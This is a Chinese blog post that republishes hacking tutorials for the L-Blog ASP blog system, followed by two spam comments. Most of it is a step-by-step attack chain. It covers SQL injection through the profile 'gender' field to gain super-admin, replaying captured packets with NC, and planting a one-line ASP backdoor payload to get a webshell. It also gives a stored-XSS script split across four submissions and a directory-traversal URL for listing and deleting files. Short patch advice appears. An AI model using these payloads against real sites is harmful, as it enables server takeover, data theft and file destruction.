单引号导致的网站崩溃 L-blog

今天无意中发现有人能过baidu地址进来时用的关键词是“owered by L-Blog”,就点击上了百度看了一下,看到了下面一篇文章,而我用的这套系统就是这个。赶紧查了一下,还真是这样,立即修改一下程度代码。

L-blog是一款较为成熟的blog程序,拥有强大的功能和简便的操作,这些优点使L-blog有着数量可观的用户群。然而,L-blog程序中代码的过滤不严,导致黑客可以向L-blog中写入恶意数据,从而将自己的账号提升为管理员,进而登录L-blog后台管理系统,写入webshell,并进一步得提升权限,从而获取服务器的控制权。威胁如何产生?我们又该如何防范?这正是本文所要讲述的重点。 
  一、洞查先机,漏洞成因早知道

  下载L-blog程序,用记事本打开其中的member.asp,可以找到如下代码:“mem_Sex="&CheckStr(Request.Form("mem_Sex"))&"”,这句代码是对用户在修改资料时的性别一栏进行更新,而这句代码却存在过滤不严的漏洞,黑客可以绕过验证,将需要写入的数据本地提交到“性别”一栏中,从而利用这个漏洞将账号提升为L-blog管理员。

  目前网上使用最多的L-blog有两个版本,L-Blog V1.08 (SE) Final和L-Blog V1.10 AIO,后者是前者的升级版本,但是这两个版本都存在过滤不严的漏洞,由于两者的代码不同,因此有着不同的利用方法,下面我们就对这两个版本的利用方法进行阐述。

  二、提升权限,构造本地提交页面

  我们首先打开使用L-Blog V1.08 (SE) Final版本的blog,注册一个用户。完成后我们点击用户控制面板上的“修改资料”,进入“编辑个人资料”页面。这时我们点击IE的查看菜单,选择“源文件”,将弹出的源文件内容保存为test.txt。用记事本的“查找”功能可以找到如下代码:“form action="member.asp?action=edit&edit=post"”,由于我们需要本地提交,因此需要将这里的相对路径改为绝对路径,即将member.asp前面的网址补充完整。继续往下看,来到如下代码处:


保密”

  这段代码就是让用户在修改个人资料时选择自己的性别,从正常的页面中我们可以看到,“性别”这一栏中是“男,女,保密”三个选项的单选框,那么我们又如何将恶意数据从“性别”这一栏写入呢?
选中上文中的这段代码,将其替换为“”,然后保存这个文本文档,接着将这个文本文档的后缀名改为htm。用IE打开test.htm,网页会显示不全,但是可以看到,“性别”一栏处已经从单选框变成了文本框,这也就意味着我们可以写入任意数据了。

  在“性别”一栏的文本框中输入:“0,mem_Status="SupAdmin"”(不包括引号),点击“确定编辑”即可完成本地提交。我们重新登陆L-blog,可以发现,在“用户中心”中多出了两个选项“发表日志”和“系统管理”(如图1),这两个选项是只有L-blog的管理员才能够看到的,因此证明我们已经成功将自己的账号提升为管理员了。 

图1 成功提升帐户为管理员

  三、绕过验证,利用工具提交数据 

  在上文中我们已经说到L-blog的两个版本利用方法不同,那不同在哪呢?由于L-Blog V1.10 AIO更新了验证机制,使原有的本地提交页面这种方法已经不起作用。然而新版本只是更新了验证机制,而并没有从根本上修补漏洞,因此我们可以利用工具将数据提交上去,从而绕过新版本的验证机制,其效果和构造本地提交页面是一样的。

  1.NC、WSockExpert,双剑合壁

  NC和WSockExpert是本地提交入侵中经常用到的工具,WSockExpert用于数据包的抓取,NC用于数据包的提交。下面我们就来看看如何利用这两款工具绕过L-blog的本地提交验证。同上文中步骤,注册完成后来到“编辑个人资料”页面,我们运行WSockExpert,点击工具栏处的“打开”按钮,找到IE的进程,双击,选中当前L-blog的进程信息,点击“OPEN”进入抓包状态。我们切换回L-blog,在“编辑个人资料”页面中填入旧密码,点击“确定编辑”。这时我们会发现
WSockExpert中已经抓取到了许多数据包,其中可以找到一个以“POST”开头的数据包,这正是我们所需要的。选中以“PSOT”开头的数据包,在下方会出现其具体内容(如图2)。将所有的内容复制下来,保存为test.txt,最内容的最下方可以找到mem_Sex这一个参数,其默认的参数值为“0”,我们需要将它修改为“0,mem_Status="SupAdmin"”,由于我们修改后使整个数据包增加了22个字节,所以我们还需要对数据包中Content-Length参数进行相应的修改,完成后保存。

图2 抓取“POST”数据包 

提示:在“编辑个人资料”页面中只需填入旧密码,其他选项一概不要填写,否则将使测试失败。

  将test.txt和NC放在同一目录下,运行“命令提示符”,输入如下命令“NCwww.***.com 80 < test.txt”,其中的网址为L-blog的地址,这句命令的意思是将test.txt的内容提交到L-blog上。回车后我们回看到很多乱码,不用管它,重新登陆L-blog,是不是同样提升成功了呢?

  2.L-blog漏洞利用工具,见血封喉

  从上文中我们可以看到,这两种L-blog漏洞的利用方法都显得比较麻烦,而且一旦利用过程中疏忽了一个字节,那么测试也将以失败告终。因此有网络安全爱好者开发了L-blog漏洞的利用程序,可以很方便得对L-blog进行测试。

  运行“L-Blog提权利用程序”,如图3所示,在地址一栏中填写欲测试的L-blog地址,在Cookie中填入你在L-blog中的cookie。至于cookie的获取,可以使用WSockExpert进行抓包,在“POST”数据包中可以找到Cookie字段,复制其后面的数值到L-blog漏洞利用程序中就可以了。接着在“旧密码”选项中填入账户的密码即可。最后点击“提交”,即可对L-blog进行测试,测试的效果和NC,WSockExpert进行测试是一样的。

图3 使用专用工具测试

  四、得到webshell,后台写入木马

  按照上面的步骤,我们可以很快得到L-blog的管理员权限,接下去我们可以在后台写入asp木马,从而得到一个webshell,获取更大的权限。

  这里我们选用的asp木马是“冰狐浪子微型ASP后门”,这是一款C/S形式的asp木马,其分为客户端和服务端两部分,由于其服务端只有一句代码,因此也被称为“一句话木马”。由于L-blog的后台管理并没有可以写入大型asp木马的地方,因此“一句话木马”的优势就可以充分发挥出来了。

  进入L-blog的后台,找到“数据管理”选项,查看L-blog的数据库地址,例如“d:\free\blogdata\acblog10.asa”,这里显示的只是数据库的本地路径,我们需要将它补充到网址后面,例如“http://www.***.com/blogdata/acblog10.asa”。然后进入“链接管理”,新建一项链接,如图4所示,其中“名称”和“图片”选项可以随便填,然后在“链接”一项中填入“冰狐浪子微型ASP后门”的服务端代码“ ”,其中“piao”为连接密码,完成后点击“编辑”即可。这样我们就可以将木马写入数据库了。 

图4 将服务端写入数据库 

  提示:写入的木马只对以asp或asa为后缀的数据库有效

运行“冰狐浪子微型ASP后门”的客户端icyfox007.htm,在“ASP URL”一项中填入L-blog的数据库地址,然后在“PassWord”一项中填入我们设置的连接密码“piao”,接着在下方选择需要执行的命令,

点击“RUN”即可,执行成功后会弹出一个新窗口显示执行效果(如图5)。这样,我们就得到了一个功能强大的webshell。接下去,便可以对服务器进行各种控制了。 

图5 利用webshell得到服务器信息

  五、拒绝黑客,修改代码升级系统 

  由于L-blog的漏洞是由于代码的疏忽造成的,因此修补漏洞的方法十分简单,可以归纳为以下几点:

  1.修改漏洞代码

  从上文中可以得知,出现漏洞的一句代码为“mem_Sex="&CheckStr(Request.Form("mem_Sex"))&"”,由于这句代码缺少一对单引号,造成过滤不严,因此我们只要将这对缺少的单引号加上去,就可以修补漏洞。修改完成后的代码为“mem_Sex='"&CheckStr(Request.Form("mem_Sex"))&"'”。

  2.升级最新版本

  目前L-blog的官方网站上已经有新版本,新版本不存在此漏洞,因此可以通过升级最新的L-blog版本避免攻击。

  3.修改数据库后缀

  由于L-blog的后台没有可以写入大型asp木马的地方,因此想得到webshell必须使用“一句话木马”,而使用“一句话木马”的前提是数据库必须为asp或asa后缀,即直接可以在IE中浏览数据库内容。因此我们可以将数据库的后缀名改为mdb,这样即使L-blog被入侵,黑客也是无法得到webshell的,当然修改完数据库后缀后别忘了修改commond.asp中的数据库连接地址。

1、L-Blog Cross-Site Scripting Vulnerability

这是个跨站漏洞,好像HaK_BaN很早就发现并通知了官方,所以问题已经修复。但是我下的那个版本却存在,所以还是要写出来J

问题存在于申请友情链接那里,对提交的网站名称没有进行HTML编码就直接写入数据库,管理员浏览读出的时候也没有进行编码,造成跨站脚本漏洞。

怎么利用呢,盗管理员Cookies?太麻烦,其实可以直接用javascript把页面转向到提升一般用户为超级管理员的链接。

呵呵,那就注册个帐号先,然后记住帐号的id,然后构造语句咯。

先看看把一般用户提升成超级管理员的链接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我们可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>达到转向的目的。参数memID就是你要提升权限的用户id,这里我的id是2。

且慢,这里有两个问题,第一是数据库Blog_links表里的Link_Name字段最多放50个字符;第二是如果转向管理员会发现不对劲哦。所以要用拆分字符分次提交,而且使用框架让管理员看不到。

算了一下,至少要分四次提交,看exploit:

<script>a="<iframe src=admincp.asp?actio"</script>

<script>a+="n=member&type=editmem&memID="</script>

<script>a+="2&memType=SupAdmin width="</script>

<script>a+="0 height=0>";document.write(a);</script>

呵呵,然后就等着管理员去看链接验证咯。要是等不及了可以想办法让他去看,看你的社会工程学水平了。

漏洞修补问题,最简单就是去官方下补丁。

 

2、L-Blog File List / Delete with SuperAdmin Vulnerability

 

通过前面的漏洞我们可以成为blog管理员,现在我们得想办法拿webshell啊。呵呵,这个时候用这个漏洞最好不过了。好像还没人公布的说。

在附件管理选浏览all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿问题就出在参数foldername,没有过滤.和/,那就可以跨目录的哦。用这个url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么样,blog根目录文件出来了,可以随便删除文件的哦。

利用这个漏洞我们可以任意查看网站各目录的文件,不过你要猜到文件夹才能浏览,L-Blog的数据库放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata

如果它的数据库是mdb,那就下载之,如果改成了asp/asa,那就请你看第三个漏洞哈。

这个漏洞的修复就是修改文件admincp.asp,只要把变量Request.QueryString("filename")里的“.”过滤就行了。

3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability

L-Blog的默认数据库名字是L-Blog.mdb,但是很多站长应该会改名称和后缀,一般改为asp或者asa,呵呵,如果改了,那站就完咯。

L-Blog.mdb里面有一个貌似防下载的表aNotDownload,其实一点用都没有,就算你改了后缀照样可下载。当然不去下载它,我是要拿webshell。

现在就要向数据库写小马咯。

 

随便找个没有过滤html编码的地方,就找修改一般设置,Blog名称,填<%execute(request("x"))%>,然后再访问数据库,看看是不是有类型不匹配错误,ok,搞定!

漏洞的修复也简单,随便找个动网的数据库,找到notdown表导出到L-Blog的数据库中,呵呵,然后你再访问数据库试试。

2 replies on “单引号导致的网站崩溃 L-blog”

  1. 切削液说道:

    生气,就是拿别人的过错来惩罚自己。原谅别人,就是善待自己。善待自己吧。。

  2. 清洗剂说道:

    不是每一次努力都会有收获,但是,每一次收获都必须努力,这是一个不公平的不可逆转的命题…

    由 dscao 于 2009-10-31 14:53:14 最后编辑

发表评论